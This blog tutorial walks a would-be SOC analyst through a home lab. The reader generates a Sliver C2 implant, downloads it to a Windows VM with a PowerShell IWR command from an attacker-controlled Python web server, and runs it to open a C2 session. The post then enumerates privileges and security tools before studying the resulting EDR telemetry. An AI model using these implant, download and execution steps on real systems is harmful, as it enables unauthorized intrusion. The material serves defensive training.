So you want to be a SOC Analyst? Part 2
Put on your adversary hat, it's time to make (and observe) some noise
Generate our C2 payload
Jump into an SSH session on the Linux VM (like we did in Part 1) for the following actions.
Drop into a root shell and change directory to our Sliver install
Launch Sliver server
Generate our first C2 session payload (within the Sliver shell above). Be sure to use your Linux VM’s IP address we statically set in Part 1.
generate --http [Linux_VM_IP] --save /opt/sliver
Confirm the new implant configuration
Now we have a C2 payload we can drop onto our Windows VM. We’ll do that next. Go ahead and exit Sliver for now.
To easily download the C2 payload from the Linux VM to the Windows VM, let’s use a little python trick that spins up a temporary web server.
python3 -m http.server 80
Switch to the Windows VM and launch an Administrative PowerShell console.
Now run the following command to download your C2 payload from the Linux VM to the Windows VM, swapping your own Linux VM IP
[Linux_VM_IP]and the name of the payload we generated in Sliver
[payload_name]a few steps prior.
IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile C:\Users\User\Downloads\[payload_name].exe
Now would be a good time to snapshot your Windows VM, before we execute the malware.
Snapshot name: “Malware staged”
Start Command and Control Session
Now that the payload is on the Windows VM, we must switch back to the Linux VM SSH session and enable the Sliver HTTP server to catch the callback.
First, terminate the python web server we started by pressing
Ctrl + C
Now, relaunch Sliver
Start the Sliver HTTP listener
If you get an error starting the HTTP listener, try rebooting the Linux VM and retrying.
Return to the Windows VM and execute the C2 payload from its download location using the same administrative PowerShell prompt we had from before
NOTE: This must be done from an Administrative command prompt or subsequent steps will fail
Within a few moments, you should see your session check in on the Sliver server
Verify your session in Sliver, taking note of the Session ID
To interact with your new C2 session, type the following command into the Sliver shell, swapping [session_id] with yours
You are now interacting directly with the C2 session on the Windows VM. Let’s run a few basic commands to get our bearing on the victim host.
Get basic info about the session
Find out what user your implant is running as, and learn it’s privileges
If your implant was properly run with Admin rights, you’ll notice we have a few privileges that make further attack activity much easier, such as “SeDebugPrivilege” — if you do not see these privileges, make sure you ran the implant from an Administrative command prompt.
Identify our implant’s working directory
Examine network connections occurring on the remote system
Notice that Sliver cleverly highlights its own process in green.
rphcp.exeis the LimaCharlie EDR service executable
Identify running processes on the remote system
Notice that Sliver cleverly highlights its own process in green and any detected countermeasures (defensive tools) in red
This is how attackers become aware of what security products a victim system may be using.
Observe EDR Telemetry So Far
Let’s hop into the LimaCharlie web UI and check out some basic features.
Click “Sensors” on left menu
Click your active Windows sensor
On the new left-side menu for this sensor, click “Processes”
Spend a few minutes exploring what is returned in the process tree. Hover over some of the icons to see what they represent.
I can’t stress enough how important it is for an analyst to have familiarity with the most common processes you’ll encounter on even a healthy system. As we say at SANS, “you must know normal before you can find evil.” For some helpful resources in “knowing normal”, check out the “Hunt Evil” poster from SANS and sign up for a free account at EchoTrail.
A process carrying a valid signature (Signed) is often (almost always) going to be benign itself. However, even legitimate signed processes can be used to launch malicious processes/code (read up on LOLBINs).
One of the easiest ways to spot unusual processes is to simply look for ones that are NOT signed.
In my example, my C2 implant shows as not signed, and is also active on the network.
Notice how quickly we are able to identify the destination IP this process is communicating with.
Now click the “Network” tab on the left-side menu
Spend a few minutes exploring what is returned in the network list. Try using Ctrl+F to search for your implant name and/or C2 IP address.
Now click the “File System” tab on the left-side menu
Browse to the location we know our implant to be running from.
Inspect the hash of the suspicious executable by scanning it with VirusTotal.
Pro Tip: While it says “Scan with VirusTotal,” what it’s actually doing is querying VirusTotal for the hash of the EXE. If the file is a common/well-known malware sample, you will know it right away. However, “Item not found” on VT does not mean that this file is innocent, just that it’s never been seen before by VirusTotal. This makes sense because we just generated this payload ourselves, so of course it’s not likely to be seen by VirusTotal before. This is an important lesson for any analyst to learn — if you already suspect a file to be possible malware, but VirusTotal has never seen it before, trust your gut. This actually makes a file even more suspicious because nearly everything has been seen by VirusTotal, so your sample may have been custom-crafted/targeted which ups the ante a bit. In a mature SOC, this would likely affect the TLP of the IOC and/or case itself.
Click “Timeline” on the left-side menu of our sensor. This is a near real-time view of EDR telemetry + event logs streaming from this system.
Read about the various EDR events in the LimaCharlie docs.
Practice filtering your timeline with known IOCs (indicators of compromise) such as the name of your implant or the known C2 IP address
If you scroll back far enough, should be able to find the moment your implant was created on the system, and when it was launched shortly after, and the network connections it created immediately after.
Examine the other events related to your implant process, you’ll see it is responsible for other events such as “
SENSITIVE_PROCESS_ACCESS” from when we enumerated our privileges in an earlier step. This particular event will be useful later on when we craft our first detection rule.
Spend more time exploring LimaCharlie telemetry to familiarize yourself not only with the known-bad events, but also the abundance of “normal” things happening on your “idle” Windows VM… Even clean systems are very noisy, so familiarizing yourself with that noise will pay dividends in your career as an analyst.
In the next post, we’re going to get back into our Sliver C2 session and do some more insidious things to generate telemetry we’ll use to craft our first threat detection rule.
Thanks for reading Eric’s Substack! Subscribe for free to receive new posts and support my work.